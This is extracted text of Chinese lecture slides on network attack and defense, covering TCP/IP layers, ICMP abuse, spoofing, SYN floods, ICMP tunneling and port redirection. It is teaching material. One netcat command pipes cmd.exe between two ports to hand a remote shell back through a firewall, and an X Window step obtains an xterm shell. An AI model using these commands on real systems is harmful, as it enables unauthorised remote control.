资源描述
,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,*,第八章,网络攻击和防御原理,1,本章内容概要,一、,简介,网络分层结构,控制报文协议,(ICMP),TCP,连接规程,二、,叙述,他们的漏洞和对策,三、,构造安全可靠的防火墙攻防模型,四、,概括,叙述网络防御技术的发展方向,2,本章目录,8.1,网络分层结构和安全性简介,8.2,基于控制报文协议的,网络攻击和防御,8.3,基于,TCP,连接规程的,网络攻击和防御,8.4,基于,TCP,与,ICMP,分组组合的,网络攻击和防御,8.5,基于网络防御设备的,攻防模型,8.6,网络防御技术的新进展,3,8.1,网络分层结构和安全性简介,8.1.1,概述,8.1.2,网络接入层,8.1.3,互联网层,(IP,层,),8.1.4,传输层,8.1.5,应用层,8.1.6 TCP/IP,信息包构造,4,8.1,网络分层结构和安全性简介,在简要介绍网络分层结构的基础上,,评估每一层的安全漏洞和对策,。,5,8.1.1,概述,1,开放系统互连参考模型,国际标准化组织,(The International Organization for Standardization,,,ISO),创建一个七层模型,它,是为网络通信创建一个标准,。该模型称作,开放系统互连,(the Open Systems Interconnection,,,OSI),参考模型。,OSI,模型从一个很高的层次对网络系统进行了描述。,O S I,模型总共包含了七层。从最顶部的“应用层”开始,一直到最底部的“物理层”,这七个层的描述如表,8-1,所示,它完整阐述了最基本的网络概念。图,8-1,展示的正是,O S I,模型的样子。,6,图,8-1 OSI,开放系统连接参考模型,7,表,8-1 OSI,网络模型,层,描 述,应用层,为用户提供相应的界面,,以便使用提供的网络服务,表示层,完成数据的格式化,会话层,控制两个主机间的通信链路,(,开放、运行和关闭,),传输层,提供数据传输服务,(,可靠或不可靠两种,),网络层,在两个主机之间,提供一套定址,/,寻址机制,,同时负责数据包的路由选择,数据,链路层,控制两个主机间的物理通信链路,同时还要负责对数据进行整形,以便在物理媒体上传输,物理层,物理媒体负责以一系列电子信号的形式,传出数据,8,TCP/IP,协议,TCP/IP,协议族无疑是当今流行最为广泛的网络互联协议,人们今大所熟悉的绝大多数,Internet,服务都是架构在该协议族之上的。,TCP/IP,与,OSI,的体系结构都是采用分层结构,结构中的下层向上层提供服务。这种分层结构具有模块划分清晰,扩展性好等优点,所以被,TCP/IP,和,OSI,所采用。虽然,TCP/IP,和,OSI,都是采用分层结构,它们之间还是存在着许多重要的区别。,9,TCP/IP,与,OSI,分层架构间的对应,见下图。,OSI,具有完整的七层架构,而,TCP/IP,则只定义了,3,种层次的服务。,TCP/IP,应用服务层,对应到,OSI,架构中的应用层、表示层以及会话层。两者之间最大的不同点在于,OSI,考虑到开放式系统互联而设定了数据表示层,而,TCP/IP,的网络层与传输层,则分别与,OSI,的网络层和传输层的功能大致相同,此外,,TCP/IP,本身并没有提供物理层和数据链路层的服务,所以一般是架在,OSI,的第一、二层,上,运作。,10,TCP/IP,与,OSI,七层体系结构的对应关系,OSI,TCP/IP,应用层,应用层,表示层,会话层,传输层,传输层,网络层,Internet,层,数据链路层,网络接入层,物理层,11,TCP/IP,各层协议集族,应用层,Telnet,FTP,HTTP,SMTP,DNS,传输层,TCP,UDP,网络层,IP,ARP,RARP,ICMP,IGMP,数据链路层,逻辑链路子层,介质访问子层,物理层,SONET/SDH/PDH,12,IP,数据包,版本,头部长,服务类型,总长,标识,标志,片,偏移,Time to Live,协议,头部校验和,源,IP,地址,目的,IP,地址,IP,选项(如果有),数据,13,TCP/IP,信息包创建过程,电子邮件首先传输到,mail,服务器,mail,服务器对收件人创建一个邮件会话,mail,服务器堆栈弹出,TCP,页眉,把,TCP,信息包封成,IP,数据报,把,IP,数据报依次压入物理媒体信息包,四个参数,:,即,TCP,端口号,(,应用层和传输层,),、源,IP,地址、目标,IP,地址,(,互联网层,),和目目标物理地址,(,网络接入层,),。,14,4,层结构优点,:,路由器功能强,直到网络层连接好前,路由器必须了解信息包的结构,也就是说路由器必须知道上述四个参数。路由器依靠这只四个参数干预、指行信息包从一台计算机到达处于适当位置的接收计算机。,从,TCP/IP,信息包包装结构知道,路由器需要在不同的层次上操作,这种特性使得路由器适合用于信息包的过滤。信息包的过滤功能在防火墙和虚拟专用网络中有重要的作用。,15,4,层结构的缺陷,:,黑客旁路,封装的处理方法可能被,TCP/IP,协议栈某一层所修改。例如,黑客可以通过你公司网络中一个不用的路由器直接旁路公司的应用程序网关来发送病毒。病毒将居留在应用层的堆栈中,并且将不被路有器检测到,因为路由器只查看互联网层,(IP),。,黑客能够使用信息包嗅探器中途截获和读取数据报。,为了最好保护一个网络,用于,TCP/IP,协议栈中各层的地址应个别地安全地给出,16,8.1.2,网络接入层,TCP/IP,协议栈的最底层是网络接入层,(Network Access,因为它包括,OSI,模型中的第,1,,,2,层,所以又称物理,/,数据链路层,(Physical/data link layers),。,17,1,物理,/,数据链路层功能,物理层由在光纤,同轴电缆,双绞线,调制解调器线路和红外线上传输的电信号组成。只要数据是在任何媒体上传输,物理层总是存在的。数据链路层定义来自物理层的信号如何重新集合成一个可用的格式。,18,2,物理,/,数据链路层的保护,为了维持这些层的安全,需要了解保护网络所用的网络技术。黑客攻击和检测一个网络的普遍的方法是在公司内部机器上安装一个信息包嗅探器或者把一个窃听装置连接到物理媒体上。,使用加密技术,数据标签,(data labels),和通信量填充,(traffic padding),等方法,使得黑客很难利用从信息包嗅探器上获得的信息。,19,3,网络接入层协议,网络接入层使用的协议,帮助,主机,-,主机完成通信,。,大部分的安全威胁不起源于,TCP/IP,协议栈中的这一层;但是需要了解使用了什么协议。,20,8.1.3,互联网层,(IP,层,),互联网层,(Internet layer,IP),是整个,网络体系结构的关键部分,,本节叙述,互联网层的功能和弱点,。,21,1,互联网层主要功能,IP,层,主要用于寻址主机和路由,,不提供任何误差修正或流量控制的手段。为了传递,IP,数据报,(,datagrams,),,,IP,层使用最佳的服务器。,由于各个分组独立地被发往目的地,它们达到时的顺序可能发生颠倒,因此应由高层对其重新排序。,22,2.,互联网层容易遭攻击的原因,公开的,IP,层体系结构,每一个,IP,数据报独立地从一个主机发往另一个主机,很多协议都是实时在运行,IP,哄骗,(IP spoofing),是使用假的,IP,地址代替源,IP,地址。因为,TCP/IP,开放的体系结构没有内置的认证,所以一个主机能够使用另一种身份哄骗。,23,3.,弱点之一,:,基于域名服务器的欺诈,当客户,PC,机请求访问,Microsoft,的,Web,网站时,其浏览器于是通过查询,DNS,域名服务器尝试把主机名,解析成一个,IP,地址,(,如图中,#1),。由于,DNS,服务器高速缓存已被攻击者麻醉,因而回送的是,的,IP,地址而不是,的,IP,地址,(,如图中,#2),。现在,客户,PC,机想与,网站通信,实际是在与黑客网站,通信,(,如图中,#3),。,24,4.,互联网层弱点之二,:Smurf,攻击,一个,Smurf,攻击是黑客发送一连串,pings,到众多的远程主机。所有远程计算机响应,ping,,,对目标,IP,地址作回答,而不是对黑客的真实的,IP,地址作回答。然后目标,IP,地址淹没在因特网控制消息协议的信息包中,并且不能长期正确运行。,Smurf,攻击是拒绝服务攻击的一个例子。,25,8.1.4,传输层,本节叙述传输层功能,扼要介绍传输控制协议和用户数据报协议的异同点,突出端口和套接口的概念。,26,1,传输层主要功能,传输层,(The transport layer),又称主机,-,主机层,(Host-to-Host Layer),。,传输层使用两个端到端的协议:传输控制协议,(Transmission control protocol,,,TCP),和用户数据报协议,(user datagram protocol,,,UDP),,,控制主机之间的信息流。,TCP,是负责把消息放置到自带寻址信息的数据报,(,datagrams,),中,到达目的地后,重新集合数据报,并重发任何迷路的数据报。和,TCP,不同,,UDP,不提供把消息分划成数据报和在另一端重新集合消息的服务。明确规定,当数据到达后,,UDP,不规定数据报的先后顺序。,因为这两个协议都使用端口来接收和发送信息,所以端口设置是执行因特网安全措施的关键。,27,2,传输控制协议,(,TCP,),TCP,是一个面向连接协议。为使源端主机和目的端主机上的对等实体进行会话,协议要求两主机之间完成以下操作,:,进行握手处理,;,每完成一次连接,需要交换信息,;,连接完成后,才开始通信。,因为以上操作可以确保数据无差错的传送并能进行流量控制,所以大多数因特网服务采用,TCP,协议,包括,HTTP(the World Wide Web),TCP FTP,和,SMTP(email),。,但是握手处理给黑客提供攻击的机会。,28,3,用户数据报协议(,UDP,),UDP,是一个无连接的协议,它既不能保证数据的可靠传送,又不能进行流量控制,但因其简单、高效,因此经常用于广播类型的协议和一次性请求,查询的客户,/,服务器模式以实现对分组丢失不敏感的实时语音,视频信息的传送。,因为一个主机发布一个,UDP,消息,并不指望有一个回音,所以在这种数据报类型中想嵌入恶意行为是困难的。另外,使用,UDP,攻击淹没端口是可能的。,29,4.,非连接型通信与连接型通信的差别,TCP,采用连接型的工作方式,,UDP,采用非连接型的工作方式。非连接型通信与连接型通信二者之间存在着一个重要的差别,即连接对通信要确定前后的顺序。利用这种前后顺序关系,,TCP,能够使各个报文之间建立一定的联系,并根据这一关系来标识各个报文的顺序。此外,如利用这种前后关系,TCP,就能识别重复的报文,那么还可确定某个特定报文是否丢失。,TCP,利用发送,接收序列号和校验和来保证可靠的传输数据。,这种连接过程很容易被目标系统检测到,给黑客提供攻击的机会,所以完整的,TCP,连接过程的隐秘性不好。,30,5.,握手处理给黑客提供攻击的机会,攻击者会发送一个从系统,A,到系统,B,的,SYN,分组,不过他会用一个不存在的系统伪装源地址。系统,B,于是试图发送一个,TCP,端口号的同步,/,接收确认,(SYN/ACK),分组到这个欺骗性的地址。如果攻击者冒充的地址不存在。这么一来,系统,B,发出,SYN/ACK,分组后,却再也收不到相应的,RST,分组或,ACK,分组。系统,B,现在承担着把这个潜在连接设置完毕的义务,直到连接建立定时器发生超时而把该潜在连接冲刷出连接队列为止。一般设在,75,秒,23,分钟之间。,31,8.1.5,应用层,在,TCP/IP,参考模型中没有会话层和表示层。在传输层之上是应用层,(application,lyer,),本节概述应用层主要功能、安全漏洞及应用层程序的分类。,32,1,应用层主要功能,在开放系统互连,(OSI),的通信模型中,应用层为保证通信的应用程序提供服务,例如为用户提供相应的界面,以便使用提供的网络服务。应用层不是做通信工作的应用程序。,应用层是在应用程序层次上负责接入,TCP/IP,的网络服务,。这些网络服务包括动态主机配置协议,域名系统,超文本传输协议,文件传输协议,远程登录,简单邮件传输协议和简单网络管理协议。,33,2,应用层的保护,应用层的保护是最困难的。在,TCP/IP,协议栈上可能用作应用程序的,TCP,和,UDP,的端口合起来超过,130,000,个基于在每一个应用程序上保护网络是困难的,一个好的途径是只允许一些独特的应用程序通过网络通信,在应用层的安全是通过作为代理服务器的应用层网关实现的,并将,在,8.5.1,节讨论。,34,3,应用层程序的分类,客户应用程序,服务器或后台程序,服务器应用程序,35,客户应用程序,客户机应用程序,(Client applications),是用于发起和其他主机通信的。,当客户机程序与一个服务器建立一个,TCP,会话时,它将使用短暂的端口发起会话。短暂的端口号范围通常是在,1025,5000,。,36,服务器或后台程序,除了服务器应用程序总是在执行外,一个,TCP/IP,应用程序的服务器端和客户机端是类似的。当主机首先启动时,主机配置的所有服务器应用程序自动启动,并在明确的,TCP,或,UDP,端口号上忙于侦听任何一种请求。,例如,一个用户为了接收和发送,email,,,必须装载因特网,mail,应用程序。但是,,mail,服务器它自己必须总是在执行,以允许客户访问,email,应用程序。,Microsoft Windows NT,把它的服务器称作应用程序服务器,,UNIX,把它们称作后台程序,(daemons),。,37,服务器应用程序,服务器应用程序,(Server applications),经常是黑客攻击的目标。当新的一个版本发布或当前一个版本得到修改,黑客将试图发掘应用程序的弱点。为了最好保护你的服务器免受攻击,需要严密的知道正在执行的服务器应用程序,所以你要监控和过滤入站的通信量。,一个普通的黑客技术是在主机上装载一个违法的服务器应用程序,该程序有计划击败主机或网络的安全结构。很多工具,特别是应用层工具可用于击败违法的服务器服务。,38,8.2,基于控制报文协议的网络攻击和防御,8.2.1,控制报文协议简要介绍,8.2.2,假冒源,IP,地址、路由信息进行欺诈和邻机嗅探,8.2.3,邻机监听,8.2.4 ICMP,诊断、,ICMP,查询和,ICMP,隧道的远程控制攻击,8.2.5,带宽耗尽攻击,39,本节在简要介绍因特网控制报文协议,(internet control message protocol,,,ICMP),的基础上,阐述表,8-3,所示的黑客攻击的原理和对策,。,40,表,8-3,黑客攻击及其利用的漏洞,黑客攻击实例,所利用的漏洞,假冒源,IP,地址,路由信息欺诈和邻机嗅探,邻机侦听,ICMP,扫描,ICMP,查询和,ICMP,隧道远程控制攻击,带宽耗尽攻击,ICMP,的邻机发现,新入网主机搜索路由器,ICMP,诊断,ICMP,广播,组播,组成员,41,8.2.1,控制报文协议简要介绍,IP,层协议最重要的任务是按照系统间的连接关系,提供寻路,(routing),功能。包括邻机的发现、地址分配的控制和组成员管理等。,IP,层协议也提供差错报告和诊断报告的功能。,TCP/IP,将这些功能综合成一个协议,即,ICMP,。,42,1.ICMP,报文格式,ICMP,虽然是网络接入层协议,但要将,ICMP,报文放入,IP,分组中发送。下一个头标值,58,表示,ICMP,报文。由图可见,,ICMP,报文的公共头标是由,1,个字节的类型、,1,个字节的代码和,2,个字节的校验和组成。,43,(1)ICMP,报文的类型之一,报文内容,IPv4,中类型,IPv6,中类型,不能到达信宿差错报文分组过大差错报文,超时差错报文,参数问题差错报文,回应请求报文,回应应答报文,组成员查询,组成员报告,3,8,0,1,2,3,4,128,129,130,131,44,ICMP,报文的类型之二,报文内容,IPv4,中类型,IPv6,中类型,组成员结束,路由器请求,路由器公告,邻机请求,邻机公告,重定向,时戳请求,地址掩码请求,13,17,132,133,134,135,136,137,45,(2),信源,IP,地址的选择,在,ICMP,标准中给出了四种选择信源,IP,地址的规则。,前两个规则是,针对,ICMP,应答报文制定的,。应答报文的信源地址必须是原报文中的目的地址。但是如果原报文是组播组或任播组报文,则应答报文必须,将收到该请求的接口的,IP,地址作为信源地址,。,第三个规则适用于差错报文。应将,报告出错信息的系统的地址作为信源地址,。,主动发送的,ICMP,报文及不适用上述规则的,ICMP,报文应该遵循第四个规则,也就是说,把发送此,ICMP,报文的,链路,IP,地址作为此报文的信源地址,。,在邻机发现,(neighbor discovery),中也确定了,ICMP,报文的目的地址。该目的地址应是链路局域地址,(,如果信宿是组播,则组播地址应是链路局域范围的地址,),。这一限制将邻机发现的范围限制在局域链路。,46,8.2.2,假冒源,IP,地址和路由信息进行欺诈和邻机嗅探,1.ICMP,的邻机发现,2.,攻击者怎样利用,ICMP,邻机发现的漏洞,?,47,1.ICMP,的邻机发现,邻机发现是,ICMP,最重要的功能之一。利用邻机发现的功能,系统能找到该链路上的其他主机和路由器。,(1),地址解决,将,IP,地址转换成网络物理地址的操作称作地址解决,(,aAddress,resolution),(2),路由器的发现,(3),路由重定向,48,由,4,个主机组成的以太网及其主机的地址,主机名称,IP,地址,以太网地址,工作站,微机,MAC,小型机,FE80:0800:2001:C782,FE80:0000:C033:6382,FE80:0800:0704:0388,FE80:0800:5A00:B2C4,080020-01C782,020701-33D692,080007-040388,08005A-00B2C4,49,(1),地址解决,邻机发现是由发往网络的第一个,IP,分组实现的功能。下面以上图为例,分析工作站向,PC,机发送,IP,分组的情况工作站知道,PC,机的,IP,地址,但不知道,PC,的以太网地址。,将,IP,地址转换成网络物理地址的操作称作地址解决,(,aAddress,resolution),,它是,ICMP,的重要功能之一。,50,(1),地址解决,(,在局域网内部,),51,图,8-12,邻机请求报文,52,在说明,ICMP,报文之前,应注意该报文使用的,IP,头标,其中两个域特别重要。,(1),第一个是中继点限制域,其值置成,255,。,255,是此域的最大值,收到此报文的所有系统,在回送应答之前要对此值进行确认。如请求报文以不足,255,的中继点限制值到达,则它肯定是通过路由器传来的,IP,分组。因地址解决只限制在单一链路内,故对从局域链路以外来到的报文不予理睬。,在,IPv6,中,为了只在单一链路内交换地址解决报文,引入了若干附加的规程,利用此规程强化网络安全,使远程系统不能伪装局域系统,窃取局域系统的报文。,在邻机请求报文中,ICMP,类型码,135,表示邻机请求。代码值,0,表示发信者是主机;代码值,1,表示路由器。对象地址,(target address),是发信者请求的,IP,地址。,53,在说明,ICMP,报文之前,应注意该报文使用的,IP,头标,其中两个域特别重要。,(2),接在该报文的对象地址之后的是一系列供查询用的选项。第一个选项表示类型的代码域,第二个选项表示以,8,字节为单位的选项值的长度域。,邻机请求报文中必定包含发信者链路地址,(senders link address),,,它又称作信源链路层地址,(source link-layer address),。,链路地址选项的选项代码为,1,。选项长度因网络类型而异。在以太网中以,8,字节为单位,足以装入,6,字节的以太网地址。工作站在此域中正确地装入自己的以太网地址,这样做的理由是,使,PC,回送应答时能知道向哪里回送,也就是说当,PC,向工作站发送,IP,分组时就不必进行邻机请求的操作了。,54,在说明,ICMP,报文之前,应注意该报文使用的,IP,头标,其中两个域特别重要。,(3),当此工作站得不到请求的应答时,此后只可重复,9,次的请求,并在各个请求之间至少应空出,1,秒的间隔。,下面继续对此例进行说明。,PC,机在收到请求后,应回送应答报文。图,8-13,示出了这一应答,图,8-14,给出了此时的邻机公告报文的格式。邻机公告报文的格式几乎和请求报文的格式相同,包括对象地址,选项和对象链路地址,(targets link address),,,后者又称作对象链路层地址,(targets link-layer address),。,作为选项的对象链路地址的代码取作,2,。图,8-14,中,R,,,S,是两个新标志,(flag),。,R,表示发送该报文的系统是否为路由器,(R,为,1,时为路由器,),;,S,表示该报文是对请求的应答还是自发的报文,(S,为,1,时表示应答,),55,邻机公告报文,56,(2),路由器的发现,当主机需要通信的范围超过局域网时,仅仅靠地址解决是不能完成的,主机应找到路由器。作为邻机发现功能的一部分,,ICMP,给出了区分路由器和主机的方法,即向网络发送路由器公告报文的方法。,57,(3),路由重定向,(2)IP,分组在网络中非高效的传送,(1)PC,对路由器进行选择,(3),对主机的重定向,58,(4),邻机消失的检测,ICMP,通过定期向邻机发送邻机请求报文来确认其存在。,邻机以邻机公告报文应答,如果该公告报文的,S,置,1,,那么就能够确认该邻机处于可能到达的状态。图,8-14,所示的,S,表示该公告报文是对请求报文的应答,因此十分重要。如果此位未被置位,表示该公告报文是自发的,(,即不是对请求报文的应答,),,因此,该邻机实际上没有收到此系统发来的请求报文。,邻机公告报文中还有一个,R(,参阅图,8-14),,它也在,NUD,中发挥作用。当从路由器收到邻机公告报文时,必须对此位进行校验。如果,R,未置成“,1”,,则该邻机已不具有路由器的功能。今后,本系统为向远程信宿传送的业务量不可发往该邻机。,59,2.,攻击者怎样利用,ICMP,邻机发现的漏洞,?,与,ICMP,邻机发现相关的地址解决,路由发现,路由重定向和邻机消失的检测没有或只有很弱的认证机制,这给攻击者变换合法路径提供了良好的机会。攻击者往往通过假冒源,IP,地址,篡改路由表,改变网卡工作模式就能进行拒绝服务的攻击,即受到攻击者侦听;或者被路由到不存在的黑洞网络上,使通信失败。下面举例说明。,60,(1),基于局域网的嗅探原理,网卡一旦处于随意模式,,,嗅探程序软件就能捕获并分析本地以太网段上流动的任何分组,.,所以,在共享媒体上发送分组,实际上同一网段的所有侦听设备都收到了这些分组,61,(2),基于地址解决协议重定向的欺诈,打开侦听程序后,攻击系统发送假冒的,ARP,给源主机,声称是默认网关,.,源主机更新其,ARP,表格,刷新了默认网关的硬件地址,.,然后,源主机上的用户开始与默认网关会话,它的分组不是发给合法的默认网关,而是发给了攻击系统,因为其,ARP,表已修改,同时攻击系统的硬件地址和默认网关的,IP,地址也作了映射,.,因此,所有的网络分组都会经攻击系统转发给默认网关,因为攻击系统已打开,IP,的转发功能,可像路由器一样转发所有的,IP,分组。,62,(4),基于路由信息协议的欺诈,当客户收到两个或超过两个路由器发来的公告报文时,客户很难由自己决定选择哪一个路由器更高效,需要靠路由器发送,ICMP,重定向报文,告诉客户通往特定信宿更高效的路径,.,如果某攻击者伪装成路由器,发送虚假的,ICMP,重定向报文,会发生什么情况呢,63,8.2.3,邻机侦听,如果在如图,8-15,所示的由,4,个主机和一个路由器组成的以太网内增添一台笔记本电脑,网络管理员如何及时发现它呢?或者说,新接入的主机如何及时接入网络?这可以按照,ICMP,邻机发现规程来实现,即新主机接入网络后,立即发送路由器请求报文,不需要等待路由器发送路由器公告报文就可发现路由器。图,8-24,示出了新入网的主机搜索路由器的机制。,64,新入网的主机搜索路由器,新入网主机发出的路由器请求报文是发给以太网内每台主机的,所以同一网段的所有侦听设备都收到了这个路由器请求报文,并从路由器请求报文可以看出,侦听设备也及时掌握了新入网主机的,IP,地址和物理地址,从而使侦听设备能够从以太网段上流动的任何分组中分离出与新入网主机有关的,IP,分组内容。因而,一台笔记本电脑接入到新的局域网时,用户应该有足够的抵御非授权访问的措施。,65,路由器请求报文,66,8.2.4,ICMP,诊断,ICMP,查询,ICMP,隧道的远程控制攻击,67,1.ICMP,诊断,按照因特网控制报文协议,ICMP,实施的网络诊断是,ICMP,最简单的功能之一,也是,ICMP,难得的功能之一。,利用诊断报文,,ICMP,可以确定两个系统能否进行通信。通过发送“回应请求,(echo request)”,报文和等待“回应应答,(echo reply)”,报文来进行诊断。几乎所有的操作系统都可以通过,ping,这一命令来利用这种服务,但有时这种服务也很容易被滥用。,回应应答报文与回应请求报文具有相同的域。,68,ICMP,回应请求报文格式,69,ICMP,回应应答报文格式,70,2.,攻击者怎样利用,ICMP,诊断安全上的漏洞,(1),使用,ICMP,诊断扫描,确定目标系统是否在活动,(2),使用,ICMP,查询,获取目标系统更多信息,(3)ICMP,隧道远程控制攻击,71,(1),使用,ICMP,诊断扫描确定目标系统是否在活动,攻击者确定某一个具体系统,(,包括主机,路由器,防火墙等,),是否在活动,从理论上有两种办法。,使用,ICMP,诊断确定两个系统能否进行通信,通过发送“回应请求”报文和等待“回应应答”报文来进行诊断。如果两个报文匹配,则可以确定目标系统在活动,也就是说,攻击者发现了攻击目标。,按照,Internet TCP,连接规程向某个目标系统发送“连接请求”分组和等待回送“连接确认”分组。如果两个分组匹配,则可以确定目标系统上打开的即为正在侦听的端口,从而确定系统在活动。这种扫描方法称作网络端口扫描,(port scanning),。,关于更多的端口扫描信息请参阅,8.3.4,节“,TCP,连接规程与端口扫描”。,72,(2),使用,ICMP,查询获取目标系统更多信息,采用,ICMP,查询方法,也就是通过向某个系统发送,ICMP,报文,就能够汇集关于它的各种有价值的信息。,例如,向某个系统发送,ICMP,类型为,13,的消息即时戳请求报文,就能请求回送系统的时间,(,目的是查看系统所在时区,),。改用,ICMP,类型为,17,的消息即地址掩码请求,(address mast request),报文,就能请求回送某个设备的子网掩码。知道网卡的子网掩码很重要,因为你可以根据它确定正在使用的所有子网。有了关于子网的知识后,就可以只攻击特定的子网。,73,(3)ICMP,隧道远程控制攻击,(1)VPN,的基本概念,(2),隧道技术,封装化操作,在,VPN,设备上生成隧道,(3)ICMP,隧道技术,74,(1)VPN,的基本概念,虚拟专网,(,virturl,private network,VPN),是利用接入服务器,(access server),广域网上的路由器及,VPN,专用设备在公用的,WAN,上实现的虚拟专网的技术。也就是说,用户觉察不到他在利用公用,WAN,获得专用网的服务。这里所说的公用网包括因特网、电信部门提供的公用电话网、帧中继网及,ATM,。,为了把因特网上开展的,VPN,服务和帧中继网,及,ATM,上的,VPN,加以区别,前者被称作“,IP VPN”,。,75,LAN,间连接型,VPN,和远程访问型,VPN,76,隧道在分组前加上新,IP,头标封装后发往对方,77,(2),隧道技术封装化操作,Internet,中的隧道是逻辑上的概念,不是指修建公路或铁路中使用的概念,是一种封装化操作。下面以连接公司总部和分公司的,VPN,为例进行说明,(,见图,8-29),。,总部的,LAN,和分公司的,LAN,上分别连有内部,IP,地址为,A,和,B,的微机。总部和分公司到,ISP,的接入点上配置了,VPN,设备,它们的全局,IP,地址为,C,和,D,。,假定从微机,B,向微机,A,发送数据。在分公司,LAN,上,IP,分组的,IP,地址是以内部,IP,地址表示的“目的地址,A”,和“源地址,B”,。,此分组到达分公司的,VPN,设备后,立即在它前部加上与全局,IP,地址的对应的“目的地址,C”,和“源地址,D”,。,全局,IP,地址,C,和,D,是为了通过因特网中的若干路由器将,IP,分组从,VPN,设备,D,发往,VPN,设备,C,而添加的。此,IP,分组到达总部的,VPN,设备,C,后,全局,IP,地址即被删除,恢复成原,IP,分组发往地址,A,。,在,IP,分组上添加新头标就好像将分组置入信封一样,因此将这种操作称作,IP,封装化。注意隧道的入口和出口是成对出现的。,78,在,VPN,设备上生成隧道,总部和分公司配置的,VPN,设备将总部和分公司间需要传输的数据封装,通过,Internet,自动发往对方的,VPN,设备。这种在,VPN,设备间建立的封装化数据的,IP,通信路径,逻辑上称作隧道。,封装化和加密方式多种多样。一般来说,只将数据加密的通信路径不能称作隧道。在一个分组上再加上一个头标才称作封装化,(,在一种网络分组中封装另一种网络分组称作封装化,),。,79,(3)ICMP,隧道技术,ICMP,隧道技术是黑客发明的一种实现远程控制攻击的方法,它有能力在,ICMP,分组头部封装真正的数据。它适用的范围是,当路由器和防火墙关闭了许多服务,并且在防火墙之后已有一个受害的系统。,黑客操作方法分为三步。第一步,,Loki,和,lokid,分别是客户和服务器程序,它们起着两个,VPN,设备的作用,对客户和服务器间需要传输的数据进行封装;第二步,在防火墙后面的某个系统上运行,lokid,服务器工具,攻击者运行,loki,客户工具;第三步,,loki,把待执行的每一个命令包裹在,ICMP,回应请求报文中发送给,lokid,。,Lokid,解出命令后在本地运行它们,再把结果包裹在,ICMP,回应应答报文中回送给攻击者。,Loki,和,lokid,程序给攻击者提供了一个简单的,ICMP,隧道技术机制,以重新获取已经侵害过系统的访问权,这种机制能够渗透到防火墙后面。既然许多防火墙允许,ICMP,和,UDP,分组自由出入,那么这种邪恶的分组流动往往能够无障碍地穿透防火墙。,80,ICMP,回应请求报文格式,ICMP,回应应答报文格式,loki,把攻击者希望远程执行的命令,(,对应,IP,分组,),包裹在,ICMP,分组或,UDP,分组的首部,再发送给,lokid,,,由它执行其中的命令,并以同样的方式返回结果。,81,8.3,基于,TCP,连接规程的网络攻击和防御,本节在简要介绍因特网,TCP,连接规程的基础上,阐述下列黑客攻击原理和对策。,82,黑客攻击实例及其利用的漏洞,黑客攻击实例,所利用的漏洞,端口重定向,TCP,同步,(SYN),淹没和假冒源,IP,地址,TCP ACK,攻击,端口扫描,TCP,会话劫持,TCP,连接的标识,TCP,连接规程,TCP,连接规程,TCP,数据传输,83,传输控制协议,/,网间协议栈,TCP/IP,体系结构,84,ICMP,和,TCP,报文格式,85,UDP/TCP,主要应用的已知端口号,端口号,UDP,应用,端口号,TCP,应用,7,9,53,61,68,69,161,162,返回,(echo),服务器,丢弃,(discard),服务器,域名,(DNS),服务器,动态主机配置协议,(DHCP),服务器,动态主机配置协议,(DHCP),客户,简单文件传送协议,(TFTP),简单网络管理协议,(SNMP),数据,简单网络管理协议,(SNMP),控制信息,20,21,23,25,53,80,110,111,119,文件传送协议,(FTP),数据,文件传送协议,(FTP),控制信息,远程登录,(TELNET),简单邮件传送协议,(SMTP),域名系统,(DNS),超文本传送协议,(HTTP),主站,(HOST office),协议,远程呼叫,(RPC),网络新闻传送协议,(NNTP),86,8.3,基于,TCP,连接规程的网络攻击和防御,8.3.1,端口重定向,8.3.2 TCP,同步淹没和假冒源,IP,地址伪装攻击,8.3.3 TCP,连接规程与端口扫描,8.3.4 TCP,数据传输和,TCP,会话劫持,87,8.3.1,TCP,连接标识上的漏洞,使用套接口可以惟一的标识一个连接。而套接口由,IP,地址和端口组成。,IP,地址标识一个系统,端口号则用来区分该系统内的各个应用。,因为一个系统可以拥有多个端口,这样做增加了系统的功能,但是对于攻击者来说,也是有利可图的。,例如在有防火墙等网络设备对直接远程连接进行阻挡的情况下,有经验的攻击者就,可能利用端口重定向技术绕过这些障碍,。,88,(1),端口重定向,端口重定向是将,TCP,连接从一个套接口重定向到另一个套接口,.,黑客使用端口重定向来完成受防火墙阻挡的,TCP,连接,他们利用一个系统可拥有多个端口的特点,使系统担当,IP,分组的转发功能,即可从系统的一个端口输入,从同一系统的另一端口输出,使本来受阻的,TCP,连接能够在新的路径上重获,TCP,连接,.,这,使得攻击者只要在侵害了一个目标系统后,就能访问防火墙后的任意目标,。,89,(2),反向远程登录和反向通道,反向远程登录和反向通道原理图,80,号端口是,HTTP,防火墙关闭远程登录服务,远程登录,TCP,连接受阻,90,(3),使用,netcat,实现远程命令“铲回”,如果攻击方和目标系统上均可使用,netcat,,,它使目标系统上的,shell,受控于攻击系统。假设下面的命令运行在目标机器的远处命令提示符下:,nc,80|,cmd.exe,|,nc,25,如果目标机器,(),正在用,netcat,侦听,80,号和,25,号,TCP,端口,而,TCP80,号端口允许受害机器得到通过防火墙进入的数据,而,TCP25,号端口允许受害机器通过防火墙输出数据,那么此命令就可以从受害机器上“铲回”远程命令,shell,。,91,控制,X Window,系统,如果远程登录服务被关掉或被防火墙阻塞住了,黑客也可以通过控制,X Window,系统获取对目标系统的,shell,的访问权,叙述如下。,X,是允许多个程序共用同一个图形显示器的窗口化机制。机制相当鲁棒,允许基于,X,的客户程序显示到远程计算机上执行的,X,服务器,(,运行在,6000,6063,端口,),上。对于攻击者来说,最有用的客户程序之一是,xterm,。,黑客首先需要得到目标服务器的使用权。为了在他自己的服务器上设置显示,执行下列命令:,export DISPLAY=10.39.128.184:0.0,然后执行,xterm,命令。因此,他能在自己的服务器上得到,xterm,应用程序图形用户界面。,92,8.3.3 